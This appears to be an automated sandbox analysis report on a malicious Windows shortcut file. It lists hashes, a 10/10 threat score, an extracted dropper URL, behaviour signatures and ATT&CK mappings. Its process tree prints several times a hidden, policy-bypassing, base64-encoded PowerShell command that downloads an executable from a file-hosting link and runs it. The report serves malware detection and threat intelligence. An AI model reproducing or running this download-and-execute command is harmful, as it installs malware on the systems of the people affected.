Analysis

  • max time kernel
    118s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    11-05-2024 11:54

General

  • Target

    34759a7b254af5d435a747330e172602_JaffaCakes118.lnk

  • Size

    3KB

  • MD5

    34759a7b254af5d435a747330e172602

  • SHA1

    d0d2d2abc845103bc0655fd6fcc74adc332d34f5

  • SHA256

    f79b3fb8b11748b9b8a68c316c805366e05f34b9c2bf41814191d03df53522ed

  • SHA512

    4662b3e3f21ef000f569acb096f697e074b4425df67c3d3b34611cc65873cd02f17cf80edf5ba2a3b3287bd16e268d262f2f7706de5c275afbffc587e7b5bd72

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=1SCyn_ZPahvp66p8IWBybgyebqvi_tKj8

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\34759a7b254af5d435a747330e172602_JaffaCakes118.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2380
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cmd /c pOWersHELL.exe -Ex bypasS -W hiddeN -Ec CQAMAAkAKAAJACAACQBOAEUAdwAtAG8AQgBqAGUAQwB0AAkACwAgAHMAeQBTAFQARQBtAC4ATgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAAJAAkAIAApAC4ARABvAFcATgBMAE8AYQBEAEYASQBMAEUAKAAgAAkAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAxAFMAQwB5AG4AXwBaAFAAYQBoAHYAcAA2ADYAcAA4AEkAVwBCAHkAYgBnAHkAZQBiAHEAdgBpAF8AdABLAGoAOAAdIAkACwAgACwAIAALACAAHSAkAEUAbgB2ADoAVABlAG0AcABcAHAAZABmAHIAcgB0AC4AZQB4AGUAHSAgAAkAIAApAAkACQAJADsAIAAJAAkASQBuAFYAbwBLAGUALQBJAFQAZQBNACAAIAAgAB0gJABFAE4AVgA6AHQARQBtAHAAXABwAGQAZgByAHIAdAAuAGUAeABlAB0g
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2656
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c pOWersHELL.exe -Ex bypasS -W hiddeN -Ec CQAMAAkAKAAJACAACQBOAEUAdwAtAG8AQgBqAGUAQwB0AAkACwAgAHMAeQBTAFQARQBtAC4ATgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAAJAAkAIAApAC4ARABvAFcATgBMAE8AYQBEAEYASQBMAEUAKAAgAAkAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAxAFMAQwB5AG4AXwBaAFAAYQBoAHYAcAA2ADYAcAA4AEkAVwBCAHkAYgBnAHkAZQBiAHEAdgBpAF8AdABLAGoAOAAdIAkACwAgACwAIAALACAAHSAkAEUAbgB2ADoAVABlAG0AcABcAHAAZABmAHIAcgB0AC4AZQB4AGUAHSAgAAkAIAApAAkACQAJADsAIAAJAAkASQBuAFYAbwBLAGUALQBJAFQAZQBNACAAIAAgAB0gJABFAE4AVgA6AHQARQBtAHAAXABwAGQAZgByAHIAdAAuAGUAeABlAB0g
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2460
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          pOWersHELL.exe -Ex bypasS -W hiddeN -Ec CQAMAAkAKAAJACAACQBOAEUAdwAtAG8AQgBqAGUAQwB0AAkACwAgAHMAeQBTAFQARQBtAC4ATgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAAJAAkAIAApAC4ARABvAFcATgBMAE8AYQBEAEYASQBMAEUAKAAgAAkAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAxAFMAQwB5AG4AXwBaAFAAYQBoAHYAcAA2ADYAcAA4AEkAVwBCAHkAYgBnAHkAZQBiAHEAdgBpAF8AdABLAGoAOAAdIAkACwAgACwAIAALACAAHSAkAEUAbgB2ADoAVABlAG0AcABcAHAAZABmAHIAcgB0AC4AZQB4AGUAHSAgAAkAIAApAAkACQAJADsAIAAJAAkASQBuAFYAbwBLAGUALQBJAFQAZQBNACAAIAAgAB0gJABFAE4AVgA6AHQARQBtAHAAXABwAGQAZgByAHIAdAAuAGUAeABlAB0g
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3048

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Discovery

System Information Discovery

1
T1082

Command and Control

Web Service

1
T1102

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2656-38-0x000007FEF593E000-0x000007FEF593F000-memory.dmp
    Filesize

    4KB

  • memory/2656-39-0x000000001B750000-0x000000001BA32000-memory.dmp
    Filesize

    2.9MB

  • memory/2656-40-0x000007FEF5680000-0x000007FEF601D000-memory.dmp
    Filesize

    9.6MB

  • memory/2656-43-0x000007FEF5680000-0x000007FEF601D000-memory.dmp
    Filesize

    9.6MB

  • memory/2656-42-0x000007FEF5680000-0x000007FEF601D000-memory.dmp
    Filesize

    9.6MB

  • memory/2656-44-0x000007FEF5680000-0x000007FEF601D000-memory.dmp
    Filesize

    9.6MB

  • memory/2656-45-0x000007FEF5680000-0x000007FEF601D000-memory.dmp
    Filesize

    9.6MB

  • memory/2656-41-0x0000000001EE0000-0x0000000001EE8000-memory.dmp
    Filesize

    32KB

  • memory/2656-64-0x000007FEF5680000-0x000007FEF601D000-memory.dmp
    Filesize

    9.6MB